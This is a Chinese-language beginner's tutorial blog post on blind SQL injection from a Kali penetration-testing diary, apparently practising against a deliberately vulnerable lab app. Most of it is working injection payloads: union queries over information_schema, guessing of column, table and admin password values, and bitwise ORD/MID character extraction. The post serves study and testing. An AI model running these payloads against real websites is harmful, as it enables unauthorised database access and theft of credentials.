zoukankan      html  css  js  c++  java
  • 小白日记42:kali渗透测试之Web渗透-SQL盲注

    SQL盲注

    SQL注入介绍

    SQL盲注:不显示数据库内建的报错信息【内建的报错信息帮助开发人员发现和修复问题】,但由于报错信息中提供了关于系统的大量有用信息。当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,SQL注入将无法依据报错信息判断注入语句的执行结果,即为盲注

    思路:既然无法基于报错信息判断结果,基于逻辑真假的不同结果来判断

    a.  1' and 1=1--+

     

    b.  1' and 1=2--+    【输入前真后假,无返回,页面没被执行

    ###ab比较,表明存在SQL注入漏洞

     

     常用盲注语句【原理:猜测数据】

    1' order by 5--                       【通过修改数值来测试列数,若页面没出现结果,则不存在该漏洞(1不能去掉,因为sql语句,表明必须提交一个正确的值,不一定为1)】

     

    2' union select user(),database()--        【查询用户名和数据库名】

     

    2' union select 1,2--+      

    1' union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--+

    【查所有的表名,#为注释后面的代码】

    1' and 1=0 union select null,table_name from information_schema.tables#   

    1' and 1=0 union select null,table_name from information_schema.columns where table_name='users' #   

     当无权读取information_schema库 / 拒绝union、order by语句

    #若为真,则显示内容,若为假,则不显示任何内容 【语句中的1不为固定,可灵活变化,甚至为字符,视情况而定】

    #使用Burpsuite自动化猜解内容

    1、猜列名

    1' and user is [not] null--+ 【测试user列是否为空】

     

    2、猜当前表表名

    1' and users.user is not null--+    【列为已知列】

     

    3、猜库里其他表

    1' and (select count(*) from table)>0--+

     

    4、列表对应关系

    1' and users.user is not null--+

      5、猜字段内容

      1' and user='admin

    1' or user like '%a%

     6、猜账号对应密码

    2' or user='admin' and password='faqfoiauggvuagbymd5'    【若为1,为id=1,若为2,则id为2,(意思为查询第二个账号)】

     

    脑洞案例

    当遇到网页不显示任何从数据库中提取的信息,只有页面风格画面的转换

    and 1=1--+  【原页面】

    and 1=2--+  【显示另一个页面】

    #则存在SQL注入漏洞

     

    构造语句

    1' and ORD(MID((VERSION()),1,1))&1>0--+    【无返回,则该位的ASCII码为0,正常返回,则ASCII码为1】

    如:

    #则证明,二进制中,十进制数为32的那一位二进制为1

    MID函数:截取字符串中的某段子字符串,( 语法:MID(ColumnName,Start,Length)起始位置,长度 )】

    ORD函数:#把函数中的字符转换成ASCII码,( 语法:ORD(string)&n ){n是二进制ASCII码的对应位置是0或1,n=1,2,4,8,16,32,64,128}    通过迭代8次查询每一位ASCII码的值,反查出字符】 《灵使用查询VERSION(),DATABASE(),CURRENT_USER()当前用户等函数》

     

    代码审计

    低级别【并未对变量进行消毒】

     

    中安全级别

     

    高安全级别

     

  • 相关阅读:
    C++中整型变量的存储大小和范围
    A1038 Recover the Smallest Number (30 分)
    A1067 Sort with Swap(0, i) (25 分)
    A1037 Magic Coupon (25 分)
    A1033 To Fill or Not to Fill (25 分)
    A1070 Mooncake (25 分)
    js 获取控件
    C#代码对SQL数据库添加表或者视图
    JS 动态操作表格
    jQuery取得下拉框选择的文本与值
  • 原文地址:https://www.cnblogs.com/zixuanfy/p/6002545.html
Copyright © 2011-2022 走看看